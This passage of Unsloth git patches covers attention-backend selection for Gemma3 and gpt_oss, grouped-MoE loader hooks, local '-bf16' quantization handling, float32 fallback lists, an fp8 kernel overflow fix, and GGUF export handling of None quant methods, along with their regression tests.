+    # explicit sdpa request is still honored. Proves the substring match neither over- nor
+    # under-matches.
+    config = {"model_type": "gemma3n", "head_dim": 512}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_resolver_downgrades_synthesized_sdpa_for_disable_sdpa_model():
+    # A synthesized/default sdpa (requested is None; the value came from config) on a
+    # DISABLE_SDPA_MODEL_NAMES model must still downgrade to eager.
+    config = {"model_type": "gemma3", "attn_implementation": "sdpa"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = None,
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(pytest.main([__file__, "-q"]))
diff --git a/unsloth/models/_utils.py b/unsloth/models/_utils.py
index b504a19f74..169b610988 100644
--- a/unsloth/models/_utils.py
+++ b/unsloth/models/_utils.py
@@ -423,6 +423,18 @@ def apply_unsloth_gradient_checkpointing(use_gradient_checkpointing, max_seq_len
 _FLEX_EXCLUDED_MODELS = ("gpt_oss", "mllama", "nemotron_h", "modernbert")
 _FLEX_PREFERRED_MODELS = ("gemma3", "gemma3_text", "shieldgemma2")
 _SDPA_EXCLUDED_MODELS = ("gpt_oss",)
+# The loader (loader.py) forces supports_sdpa=False for these because their bundled
+# SDPA modules are wrong. Kept here, not in loader.py, so _is_sdpa_excluded can honor
+# them without a loader -> _utils import cycle (loader.py already imports from _utils
+# and re-exports this name for callers like sentence_transformer.py). Entries are matched
+# as substrings against a comma-joined model_types string ending in a comma, so "gemma3,"
+# matches a distinct "gemma3" entry but not "gemma3n", and "gemma3_text" matches the
+# EmbeddingGemma text model.
+DISABLE_SDPA_MODEL_NAMES = [
+    "gemma3,",  # Add comma bc gemma3 will match gemma3n
+    "gemma3_text",  # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore
+    "gpt_oss",
+]
 _FLASH_EXCLUDED_MODELS = ("gpt_oss",)
 _EAGER_ONLY_PREFIXES = ("gemma3n",)
 _FLASH_ATTENTION_MAX_HEAD_DIM = 256
@@ -433,8 +445,23 @@ def _is_flex_excluded(model_type):
     return model_type in _FLEX_EXCLUDED_MODELS
 
 
+def _is_sdpa_disabled_by_name(model_type):
+    # Mirror the loader's DISABLE_SDPA_MODEL_NAMES check: loader.py builds
+    # model_types_all = ",".join(model_types) + "," and tests `name in model_types_all`.
+    # Rebuild the same trailing-comma form for a single model_type so the match is
+    # identical (e.g. "gemma3," matches "gemma3" but not "gemma3n", and "gemma3_text"
+    # still matches "gemma3_text").
+    model_types_all = model_type.lower() + ","
+    return any(name.lower() in model_types_all for name in DISABLE_SDPA_MODEL_NAMES)
+
+
 def _is_sdpa_excluded(model_type):
-    return model_type in _SDPA_EXCLUDED_MODELS
+    # SDPA is known-broken for these models, so an explicit sdpa request must not
+    # re-enable it. Two sources: _SDPA_EXCLUDED_MODELS (resolver-level, e.g. gpt_oss)
+    # and DISABLE_SDPA_MODEL_NAMES (loader-level, e.g. gemma3 / gemma3_text, which the
+    # loader also forces to supports_sdpa=False).
+    lowered = model_type.lower()
+    return lowered in _SDPA_EXCLUDED_MODELS or _is_sdpa_disabled_by_name(lowered)
 
 
 def _is_flash_excluded(model_type):
@@ -610,6 +637,12 @@ def _disable_flash_attention_if_needed(
     if disable_reason is None:
         return attn_implementation
 
+    # Only an implementation passed by the caller counts as an explicit request.
+    # Values read from the config are synthesized by the loaders (the language path
+    # seeds the config with attn_implementation="sdpa") or come from Transformers
+    # defaults, so they must not be treated as a deliberate user choice.
+    explicit_request = attn_implementation
+
     requested_attn_implementation = attn_implementation
     if requested_attn_implementation is None:
         requested_attn_implementation = _config_get(config, "_attn_implementation", None)
@@ -619,6 +652,20 @@ def _disable_flash_attention_if_needed(
     if requested_attn_implementation == "eager":
         return _set_attn_impl(config, "eager")
 
+    model_type = _config_get(config, "model_type", "")
+
+    # The disable reason is flash-specific: honor an explicit non-flash request from
+    # the caller instead of downgrading it. SDPA is honored unless the model's SDPA is
+    # known-broken - _SDPA_EXCLUDED_MODELS (e.g. gpt_oss) or DISABLE_SDPA_MODEL_NAMES
+    # (e.g. gemma3 / gemma3_text); flex_attention
+    # is honored only when it is actually usable, since supports_flex_attention already
+    # rejects the excluded/broken/unavailable configs. This keeps an explicit request
+    # from selecting a backend the repo marks as wrong.
+    if explicit_request == "sdpa" and not _is_sdpa_excluded(model_type.lower()):
+        return _set_attn_impl(config, "sdpa")
+    if explicit_request == "flex_attention" and supports_flex_attention:
+        return _set_attn_impl(config, "flex_attention")
+
     if supports_sdpa:
         fallback_attn_implementation = "sdpa"
     elif supports_flex_attention:
@@ -631,7 +678,6 @@ def _disable_flash_attention_if_needed(
             if _is_flash_attention_requested(requested_attn_implementation)
             else "flash_attention_2"
         )
-        model_type = _config_get(config, "model_type", "")
         warning_key = (
             model_type,
             logged_attn_implementation,
@@ -845,7 +891,19 @@ def resolve_attention_implementation(
         final_attn_impl = requested_attn_implementation
         _set_attn_impl(config, final_attn_impl)
 
-    if not supports_sdpa and final_attn_impl == "sdpa":
+    # A caller who explicitly passes requested_attn_implementation="sdpa" keeps it even
+    # on a conservatively unsupported model, mirroring _disable_flash_attention_if_needed
+    # which honors an explicit sdpa request. The exception is a model whose SDPA is
+    # known-broken - _SDPA_EXCLUDED_MODELS (e.g. gpt_oss) or DISABLE_SDPA_MODEL_NAMES
+    # (e.g. gemma3 / gemma3_text, which the loader also forces to supports_sdpa=False):
+    # an explicit request must not re-enable it, so it still downgrades to eager, just
+    # like flex falls back for _FLEX_EXCLUDED_MODELS. A synthesized/default sdpa
+    # (requested is None, so the value came from the model resolution above or the
+    # config) also downgrades.
+    honor_explicit_sdpa = requested_attn_implementation == "sdpa" and not _is_sdpa_excluded(
+        model_type
+    )
+    if not supports_sdpa and final_attn_impl == "sdpa" and not honor_explicit_sdpa:
         print(
             f"Unsloth: {(model_type_name or 'model').title()} does not support SDPA - switching to fast eager."
         )
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 84f808d2b5..22cb65dc4a 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -21,6 +21,10 @@ from ._utils import (
     USE_MODELSCOPE,
     get_transformers_model_type,
     hf_login,
+    # Single source of truth is _utils.py; re-exported here so callers doing
+    # `from unsloth.models.loader import DISABLE_SDPA_MODEL_NAMES` keep working and so
+    # _is_sdpa_excluded (in _utils) can honor it without a loader -> _utils cycle.
+    DISABLE_SDPA_MODEL_NAMES,
 )
 from .granite import FastGraniteModel
 from .llama import FastLlamaModel, logger
@@ -196,14 +200,6 @@ DISABLE_COMPILE_MODEL_NAMES = [
     "granite,llava_next",  # Granite-vision 3
 ]
 
-global DISABLE_SDPA_MODEL_NAMES
-# Disables some SDPA modules since it's wrong
-DISABLE_SDPA_MODEL_NAMES = [
-    "gemma3,",  # Add comma bc gemma3 will match gemma3n
-    "gemma3_text",  # Gemma3TextModel (EmbeddingGemma) - substring match, keep underscore
-    "gpt_oss",
-]
-
 
 def _fix_rope_inv_freq(model):
     """Fix inv_freq corruption caused by transformers v5 meta-device loading.

From c7b8666ce43d223fb3ffb1ccce89d73e26291e4a Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:46:30 -0700
Subject: [PATCH 201/306] Auto-enable grouped MoE on loaded / PEFT'd models via
 loader hook (#6727)

* Auto-enable grouped MoE on loaded / PEFT'd models via loader hook

Wraps the FastLlamaModel and FastBaseModel from_pretrained / get_peft_model leaves with wrap_loader_for_grouped_moe so the grouped-GEMM MoE forward is installed on the live instance after the model and its compiled module are built. Gated by UNSLOTH_MOE_GROUPED and wrapped in try/except, so it is a no-op when the unsloth_zoo module is absent or no eligible MoE block exists.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Install grouped-MoE loader wrappers before PatchFastRL

* Re-evaluate grouped MoE after loading a PEFT adapter

When loading an existing adapter through FastLanguageModel.from_pretrained,
the base model is evaluated for grouped MoE when the wrapped from_pretrained
leaf returns, but the adapter is attached afterwards via PeftModel and
patch_peft_model. Re-run auto_enable_grouped_moe on the final model so
blocks whose experts gained LoRA are restored to the original loop,
attention-only adapters keep the grouped path on their frozen experts, and
recompute is re-derived from the final gradient-checkpointing state. Guarded
so it never blocks adapter loading.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments in the grouped MoE loader hooks

Shorten the loader re-eval and llama.py wrapper comments; code is unchanged
(verified comment-only).

* Re-evaluate grouped MoE after loading a PEFT adapter on the vision path

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 unsloth/models/llama.py  | 13 +++++++++++++
 unsloth/models/loader.py | 18 ++++++++++++++++++
 unsloth/models/vision.py | 13 +++++++++++++
 3 files changed, 44 insertions(+)

diff --git a/unsloth/models/llama.py b/unsloth/models/llama.py
index 417a88f480..564be09578 100644
--- a/unsloth/models/llama.py
+++ b/unsloth/models/llama.py
@@ -3824,4 +3824,17 @@ class FastLlamaModel:
 
 from .rl import PatchFastRL
 
+# Auto-enable grouped-GEMM MoE (tf<5 ModuleList experts) on built / PEFT'd models. Wrap the
+# loader leaves before PatchFastRL so downstream patchers see the wrapped versions. Guarded.
+try:
+    from unsloth_zoo.temporary_patches.moe_grouped_modulelist import wrap_loader_for_grouped_moe
+    FastLlamaModel.from_pretrained = staticmethod(
+        wrap_loader_for_grouped_moe(FastLlamaModel.from_pretrained)
+    )
+    FastLlamaModel.get_peft_model = staticmethod(
+        wrap_loader_for_grouped_moe(FastLlamaModel.get_peft_model)
+    )
+except Exception:
+    pass
+
 PatchFastRL(FastLanguageModel = FastLlamaModel)
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 22cb65dc4a..2818b6ee80 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -896,6 +896,15 @@ class FastLanguageModel(FastLlamaModel):
             )
             # Patch it as well!
             model = dispatch_model.patch_peft_model(model, use_gradient_checkpointing)
+            # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back
+            # to the original loop, an attention-only adapter keeps the grouped path. Guarded.
+            try:
+                from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (
+                    auto_enable_grouped_moe,
+                )
+                auto_enable_grouped_moe(model)
+            except Exception:
+                pass  # optional speedup; never block model loading
 
         # Patch Tiled MLP
         # to turn on set UNSLOTH_TILED_MLP to "arctic", "target", or "target:{GB}""
@@ -1852,6 +1861,15 @@ class FastModel(FastBaseModel):
             model = FastBaseModel.post_patch_model(
                 model, use_gradient_checkpointing, trust_remote_code = trust_remote_code
             )
+            # Re-evaluate grouped MoE now the adapter is attached: an expert-LoRA block falls back
+            # to the original loop, an attention-only adapter keeps the grouped path. Guarded.
+            try:
+                from unsloth_zoo.temporary_patches.moe_grouped_modulelist import (
+                    auto_enable_grouped_moe,
+                )
+                auto_enable_grouped_moe(model)
+            except Exception:
+                pass  # optional speedup; never block model loading
 
         # Apply QAT if specified
         if qat_scheme is not None:
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index e80ed8917b..0a68a49fee 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -2304,3 +2304,16 @@ def check_dataset_for_missing_videos(
         warnings.warn(error_msg, stacklevel = 2)
 
     return missing
+
+
+# Auto-enable grouped-GEMM MoE (transformers<5 ModuleList experts); see llama.py.
+try:
+    from unsloth_zoo.temporary_patches.moe_grouped_modulelist import wrap_loader_for_grouped_moe
+    FastBaseModel.from_pretrained = staticmethod(
+        wrap_loader_for_grouped_moe(FastBaseModel.from_pretrained)
+    )
+    FastBaseModel.get_peft_model = staticmethod(
+        wrap_loader_for_grouped_moe(FastBaseModel.get_peft_model)
+    )
+except Exception:
+    pass

From 95a73f0f515906d6d691c2703a6a04902f0efdb0 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:47:26 -0700
Subject: [PATCH 202/306] Honor explicit load_in_16bit for local -bf16
 directories (#6726)

A model path ending in -bf16 unconditionally forced 16-bit loading, so a
LOCAL checkpoint directory whose name happens to end in -bf16 could never be
loaded in 4-bit, 8-bit or fp8: the suffix rule silently overrode the caller's
quantization flags. Hub repo ids keep the existing behavior (the suffix is a
publishing convention there), but for a local directory (expanduser-aware, so
tilde paths are detected too) the requested quantization is preserved unless
the caller explicitly passes load_in_16bit=True.
---
 unsloth/models/loader.py | 24 ++++++++++++++++--------
 1 file changed, 16 insertions(+), 8 deletions(-)

diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 2818b6ee80..9ce74c4d02 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -466,8 +466,10 @@ class FastLanguageModel(FastLlamaModel):
             ("-unsloth-bnb-4bit", "-bnb-4bit")
         ):
             model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-        # Change -BF16 to all False for 4bit, 8bit etc
-        if model_name.lower().endswith("-bf16"):
+        # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+        if model_name.lower().endswith("-bf16") and (
+            load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+        ):
             load_in_4bit = False
             load_in_8bit = False
             load_in_fp8 = False
@@ -625,8 +627,10 @@ class FastLanguageModel(FastLlamaModel):
                 ("-unsloth-bnb-4bit", "-bnb-4bit")
             ):
                 model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-            # Change -BF16 to all False for 4bit, 8bit etc
-            if model_name.lower().endswith("-bf16"):
+            # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+            if model_name.lower().endswith("-bf16") and (
+                load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+            ):
                 load_in_4bit = False
                 load_in_8bit = False
                 load_in_fp8 = False
@@ -1145,8 +1149,10 @@ class FastModel(FastBaseModel):
             ("-unsloth-bnb-4bit", "-bnb-4bit")
         ):
             model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-        # Change -BF16 to all False for 4bit, 8bit etc
-        if model_name.lower().endswith("-bf16"):
+        # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+        if model_name.lower().endswith("-bf16") and (
+            load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+        ):
             load_in_4bit = False
             load_in_8bit = False
             load_in_fp8 = False
@@ -1503,8 +1509,10 @@ class FastModel(FastBaseModel):
                 ("-unsloth-bnb-4bit", "-bnb-4bit")
             ):
                 model_name = _strip_unsloth_bnb_4bit_suffix(model_name)
-            # Change -BF16 to all False for 4bit, 8bit etc
-            if model_name.lower().endswith("-bf16"):
+            # '-bf16' hub repos load bf16; a local dir keeps the requested quant unless 16bit is set
+            if model_name.lower().endswith("-bf16") and (
+                load_in_16bit or not os.path.isdir(os.path.expanduser(model_name))
+            ):
                 load_in_4bit = False
                 load_in_8bit = False
                 load_in_fp8 = False

From efcaffb17b5ae085f98bc35bfa8570c5192130d1 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:48:10 -0700
Subject: [PATCH 203/306] Sync FORCE_FLOAT32 fallback with unsloth-zoo (gemma4,
 glm4_moe, qwen3_moe) (#6865)

* Add gemma4, glm4_moe and qwen3_moe to the FORCE_FLOAT32 fallback list

Keeps the fallback list (used only if the unsloth_zoo import fails) in sync with
unsloth_zoo/model_lists.py, which now force-float32s these MoE archs so a float16
request loads bf16 and trains finite instead of NaNing the grad_norm.

* Union FORCE_FLOAT32 fallback so new archs force float32 with older unsloth_zoo
---
 unsloth/models/loader.py | 34 ++++++++++++++++++++--------------
 1 file changed, 20 insertions(+), 14 deletions(-)

diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 9ce74c4d02..5ba9b54ce1 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -113,22 +113,28 @@ from ._utils import (
     maybe_prefetch_hf_snapshot,
 )
 
-# Single source of truth is unsloth_zoo.model_lists. Re-exported so callers
-# doing `from unsloth.models.loader import FORCE_FLOAT32` keep working.
-# Fallback list mirrors zoo for users who upgrade unsloth without upgrading
-# unsloth_zoo (so this module never fails at import).
+# Source of truth is unsloth_zoo.model_lists. Re-exported so callers doing
+# `from unsloth.models.loader import FORCE_FLOAT32` keep working. The fallback
+# list is also unioned in so a newer unsloth still forces float32 for these
+# archs when paired with an older unsloth_zoo that predates them (upgrade skew).
+_FORCE_FLOAT32_FALLBACK = [
+    "gemma3,",  # Add comma bc gemma3 will match gemma3n
+    "gemma3text",  # Gemma3TextModel (EmbeddingGemma, standalone text-only Gemma3)
+    "gemma3n",
+    "gemma4",  # Gemma4 (gemma4 / gemma4_text): float16 NaNs grad norms in the backward
+    "glm4_moe",  # GLM-4.x MoE (glm4_moe / glm4_moe_lite): float16 NaNs grad norms
+    "gpt_oss",
+    "qwen3_5",  # Qwen3.5 GDN layers produce NaN grad norms in float16 training
+    "qwen3_moe",  # Qwen3-MoE (Qwen3-30B-A3B): float16 NaNs grad norms in the backward
+]
 try:
-    from unsloth_zoo import FORCE_FLOAT32  # noqa: F401
+    from unsloth_zoo import FORCE_FLOAT32 as _ZOO_FORCE_FLOAT32
+    FORCE_FLOAT32 = list(_ZOO_FORCE_FLOAT32)
 except ImportError:
-    global FORCE_FLOAT32
-    # Forces float32 precision since float16 goes to infinity
-    FORCE_FLOAT32 = [
-        "gemma3,",  # Add comma bc gemma3 will match gemma3n
-        "gemma3text",  # Gemma3TextModel (EmbeddingGemma, standalone text-only Gemma3)
-        "gemma3n",
-        "gpt_oss",
-        "qwen3_5",  # Qwen3.5 GDN layers produce NaN grad norms in float16 training
-    ]
+    FORCE_FLOAT32 = []
+for _mt in _FORCE_FLOAT32_FALLBACK:
+    if not any(_mt in _entry for _entry in FORCE_FLOAT32):
+        FORCE_FLOAT32.append(_mt)
 
 global DISABLE_COMPILE_MODEL_NAMES
 # Must be alphabetically sorted for each entry

From cf4906dbe60d4cb7f21bafa75e147a6fa907b557 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:50:15 -0700
Subject: [PATCH 204/306] Note bundled flash-linear-attention kernels for
 gated-deltanet models (#6850)

* Note the bundled flash-linear-attention kernels for gated-deltanet models

Unsloth Zoo now bundles the flash-linear-attention (fla) gated-delta Triton
kernels and injects them automatically, so gated-deltanet models (Qwen3-Next,
Qwen3.5, Kimi-Linear) get the fast path with no pip install. Replace the old
install advisory with a one-time note that fires only when the bundled kernels
could not be enabled on the current setup (no CUDA, or torch < 2.7 / triton < 3.3),
i.e. exactly when transformers falls back to the slow pure PyTorch path.

* Tighten comments

* Normalize model_types in fla install advisory for None and single string

* Cover olmo_hybrid in the gated-deltanet fla advisory
---
 unsloth/models/loader.py | 39 +++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 5ba9b54ce1..ba23197861 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -206,6 +206,44 @@ DISABLE_COMPILE_MODEL_NAMES = [
     "granite,llava_next",  # Granite-vision 3
 ]
 
+# Architectures with gated-deltanet (linear attention) layers. Unsloth bundles the
+# flash-linear-attention Triton kernels (unsloth_zoo/_vendored/fla), so no install is
+# needed; transformers uses the much slower pure PyTorch path only when they can't be enabled.
+FLA_MODEL_TYPE_PREFIXES = ("qwen3_next", "qwen3_5", "kimi_linear", "olmo_hybrid")
+_fla_advised = False
+
+
+def _maybe_advise_fla_install(model_types):
+    """One-time note when a gated-deltanet model loads without the fast kernels.
+
+    The kernels ship with Unsloth (no install needed); this fires only when they
+    could not be enabled on this platform (e.g. no CUDA, torch < 2.7 or
+    triton < 3.3), i.e. exactly when transformers uses the slow pure PyTorch path.
+    """
+    global _fla_advised
+    if _fla_advised:
+        return
+    if model_types is None:
+        return
+    if isinstance(model_types, str):
+        model_types = [model_types]  # a lone string would otherwise iterate chars
+    try:
+        if not any(
+            isinstance(t, str) and t.startswith(FLA_MODEL_TYPE_PREFIXES) for t in model_types
+        ):
+            return
+        from transformers.utils.import_utils import is_flash_linear_attention_available
+        if is_flash_linear_attention_available():
+            return  # bundled (or user-installed) fast kernels are active
+    except Exception:
+        return
+    _fla_advised = True
+    print(
+        "Unsloth: This model uses gated-deltanet linear attention layers. Unsloth\n"
+        "bundles the flash-linear-attention kernels, but they could not be enabled\n"
+        "on this setup (they need CUDA with torch >= 2.7 and triton >= 3.3), so\n"
+        "transformers will use a slower pure PyTorch path."
+    )
 
 def _fix_rope_inv_freq(model):
     """Fix inv_freq corruption caused by transformers v5 meta-device loading.
@@ -1304,6 +1342,7 @@ class FastModel(FastBaseModel):
             trust_remote_code = trust_remote_code,
         )
         model_types_all = ",".join(model_types) + ","
+        _maybe_advise_fla_install(model_types)
 
         # ---- Text-diffusion models (e.g. DiffusionGemma) take a transformers-only slow path. ----
         # These use a custom block-diffusion `generate` and a novel backbone, so we skip Unsloth's

From 487b420948ef6fea0a77dac7b7970aa3e6b2f5c0 Mon Sep 17 00:00:00 2001
From: Anas Khan <83116240+anxkhn@users.noreply.github.com>
Date: Mon, 6 Jul 2026 19:41:33 +0530
Subject: [PATCH 205/306] CI: pin lockfile-audit actions to commit SHAs (#6902)

---
 .github/workflows/lockfile-audit.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/lockfile-audit.yml b/.github/workflows/lockfile-audit.yml
index 9c28e21672..aaf258d615 100644
--- a/.github/workflows/lockfile-audit.yml
+++ b/.github/workflows/lockfile-audit.yml
@@ -60,11 +60,11 @@ jobs:
     runs-on: ubuntu-latest
     timeout-minutes: 5
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@9c091bb21b7c1c1d1991bb908d89e4e9dddfe3e0  # v7.0.0
         with:
           persist-credentials: false
 
-      - uses: actions/setup-python@v5
+      - uses: actions/setup-python@ece7cb06caefa5fff74198d8649806c4678c61a1  # v6.3.0
         with:
           python-version: '3.12'
 

From f4d1dc541fbbca17e7ed59daea07465696877255 Mon Sep 17 00:00:00 2001
From: Anas Khan <83116240+anxkhn@users.noreply.github.com>
Date: Mon, 6 Jul 2026 19:41:41 +0530
Subject: [PATCH 206/306] fix(fp8): use int64 offsets in weight_dequant_kernel
 (#6884)

---
 unsloth/kernels/fp8.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/unsloth/kernels/fp8.py b/unsloth/kernels/fp8.py
index 80db2f466b..935ffbb447 100644
--- a/unsloth/kernels/fp8.py
+++ b/unsloth/kernels/fp8.py
@@ -68,7 +68,9 @@ def weight_dequant_kernel(x_ptr, s_ptr, y_ptr, M, N, BLOCK_SIZE: tl.constexpr):
     n = tl.cdiv(N, BLOCK_SIZE)
     offs_m = pid_m * BLOCK_SIZE + tl.arange(0, BLOCK_SIZE)
     offs_n = pid_n * BLOCK_SIZE + tl.arange(0, BLOCK_SIZE)
-    offs = offs_m[:, None] * N + offs_n[None, :]
+    # tl.arange is int32, so offs_m * N overflows for tensors with more than
+    # 2**31 elements (e.g. flattened MoE expert stacks); index in int64.
+    offs = offs_m[:, None].to(tl.int64) * N + offs_n[None, :].to(tl.int64)
     mask = (offs_m[:, None] < M) & (offs_n[None, :] < N)
     x = tl.load(x_ptr + offs, mask = mask).to(tl.float32)
     s = tl.load(s_ptr + pid_m * n + pid_n)

From c44d94f1ae8971b644e2b4807285ab65dc09713b Mon Sep 17 00:00:00 2001
From: Anas Khan <83116240+anxkhn@users.noreply.github.com>
Date: Mon, 6 Jul 2026 19:41:49 +0530
Subject: [PATCH 207/306] fix: map None quant method to q8_0 before lowercasing
 in GGUF export (#6889)

---
 .../test_quant_method_none_normalization.py   | 81 +++++++++++++++++++
 unsloth/save.py                               | 14 ++--
 2 files changed, 89 insertions(+), 6 deletions(-)
 create mode 100644 tests/saving/test_quant_method_none_normalization.py

diff --git a/tests/saving/test_quant_method_none_normalization.py b/tests/saving/test_quant_method_none_normalization.py
new file mode 100644
index 0000000000..c1c5fd3686
--- /dev/null
+++ b/tests/saving/test_quant_method_none_normalization.py
@@ -0,0 +1,81 @@
+"""CPU-only regression for the quant-method normalization loops in save.py.
+
+`unsloth_save_pretrained_gguf` and `save_to_gguf_generic` each normalize the
+`quantization_method` list, mapping a ``None`` element to ``"q8_0"``. The mapping
+used to call ``quant_method.lower()`` as the first statement of the loop, so a
+``None`` element (e.g. ``quantization_method=[None]`` or ``["q4_k_m", None]``)
+raised ``AttributeError: 'NoneType' object has no attribute 'lower'`` and the
+``elif quant_method is None`` branch was unreachable dead code.
+
+The loop is inline inside two heavy functions (importing unsloth needs
+unsloth_zoo / a GPU), so - like test_is_gpt_oss_detection.py - we extract just the
+loop source via ``ast`` and exec it against sample inputs. That exercises the real
+source: it fails on the old ordering and passes once ``None`` is handled first.
+"""
+
+from __future__ import annotations
+
+import ast
+from pathlib import Path
+
+import pytest
+
+SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py"
+SAVE_SRC = SAVE_PY.read_text(encoding = "utf-8")
+SAVE_TREE = ast.parse(SAVE_SRC, filename = str(SAVE_PY))
+
+# The target functions and the list variable each one appends the normalized method to.
+TARGETS = (
+    ("unsloth_save_pretrained_gguf", "quantization_methods"),
+    ("save_to_gguf_generic", "new_quantization_methods"),
+)
+
+
+def _func(tree, name):
+    for node in ast.walk(tree):
+        if isinstance(node, ast.FunctionDef) and node.name == name:
+            return node
+    raise AssertionError(f"function {name!r} not found in {SAVE_PY.name}")
+
+
+def _quant_loop(func_name):
+    # The quant-normalization `for` loop iterates `quantization_method`; grab its source.
+    func = _func(SAVE_TREE, func_name)
+    for node in ast.walk(func):
+        if (
+            isinstance(node, ast.For)
+            and isinstance(node.iter, ast.Call)
+            and isinstance(node.iter.func, ast.Name)
+            and node.iter.func.id == "enumerate"
+            and isinstance(node.iter.args[0], ast.Name)
+            and node.iter.args[0].id == "quantization_method"
+        ):
+            return node
+    raise AssertionError(f"quant-normalization loop not found in {func_name}")
+
+
+def _run_loop(func_name, out_var, quantization_method):
+    # exec just the extracted loop against a given input, returning the appended methods.
+    loop_src = ast.get_source_segment(SAVE_SRC, _quant_loop(func_name))
+    namespace = {out_var: [], "quantization_method": quantization_method}
+    exec(loop_src, {"__builtins__": __builtins__}, namespace)
+    return namespace[out_var]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_none_element_maps_to_q8_0(func_name, out_var):
+    # A bare None inside the list must map to q8_0, not raise AttributeError.
+    assert _run_loop(func_name, out_var, [None]) == ["q8_0"]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_none_mixed_with_strings(func_name, out_var):
+    # None resolves to q8_0 while sibling string methods are still normalized (lowercased).
+    assert _run_loop(func_name, out_var, ["Q4_K_M", None]) == ["q4_k_m", "q8_0"]
+
+
+@pytest.mark.parametrize("func_name, out_var", TARGETS)
+def test_string_methods_unchanged(func_name, out_var):
+    # The fix must not alter behavior for the ordinary string inputs.
+    methods = ["not_quantized", "fast_quantized", "quantized", "Q8_0"]
+    assert _run_loop(func_name, out_var, methods) == ["f16", "q8_0", "q4_k_m", "q8_0"]
diff --git a/unsloth/save.py b/unsloth/save.py
index a6697e98a1..020c63a9e2 100644
--- a/unsloth/save.py
+++ b/unsloth/save.py
@@ -2926,15 +2926,16 @@ def unsloth_save_pretrained_gguf(
                 "Unsloth: quantization_method can only be a string or a list of strings"
             )
         for i, quant_method in enumerate(quantization_method):
-            quant_method = quant_method.lower()
+            if quant_method is None:
+                quant_method = "q8_0"
+            else:
+                quant_method = quant_method.lower()
             if quant_method == "not_quantized":
                 quant_method = "f16"
             elif quant_method == "fast_quantized":
                 quant_method = "q8_0"
             elif quant_method == "quantized":
                 quant_method = "q4_k_m"
-            elif quant_method is None:
-                quant_method = "q8_0"
             quantization_methods.append(quant_method.lower())
 
     try:
@@ -3727,15 +3728,16 @@ def save_to_gguf_generic(
                 "Unsloth: quantization_method can only be a string or a list of strings"
             )
         for i, quant_method in enumerate(quantization_method):
-            quant_method = quant_method.lower()
+            if quant_method is None:
+                quant_method = "q8_0"
+            else:
+                quant_method = quant_method.lower()
             if quant_method == "not_quantized":
                 quant_method = "f16"
             elif quant_method == "fast_quantized":
                 quant_method = "q8_0"
             elif quant_method == "quantized":
                 quant_method = "q4_k_m"
-            elif quant_method is None:
-                quant_method = "q8_0"
             new_quantization_methods.append(quant_method.lower())
     else:
         new_quantization_methods.append(quantization_type.lower())

From cc99aab607cd5310ae0dd9468475e1d084fa9eda Mon Sep 17 00:00:00 2001
From: Anas Khan <83116240+anxkhn@users.noreply.github.com>
Date: Mon, 6 Jul 2026 19:41:57 +0530
Subject: [PATCH 208/306] fix: correct class name in
 SyntheticDataKit.chunk_data guard message (#6901)

---
 tests/test_synthetic_chunk_data.py | 26 ++++++++++++++++++++++++++
 unsloth/dataprep/synthetic.py      |  2 +-
 2 files changed, 27 insertions(+), 1 deletion(-)

diff --git a/tests/test_synthetic_chunk_data.py b/tests/test_synthetic_chunk_data.py
index b9167d214f..abc2c01443 100644
--- a/tests/test_synthetic_chunk_data.py
+++ b/tests/test_synthetic_chunk_data.py
@@ -104,10 +104,36 @@ def test_chunk_data_rejects_overlap_not_smaller_than_chunk():
         os.unlink(path)
 
 
+def test_chunk_data_uninitialized_error_names_real_class():
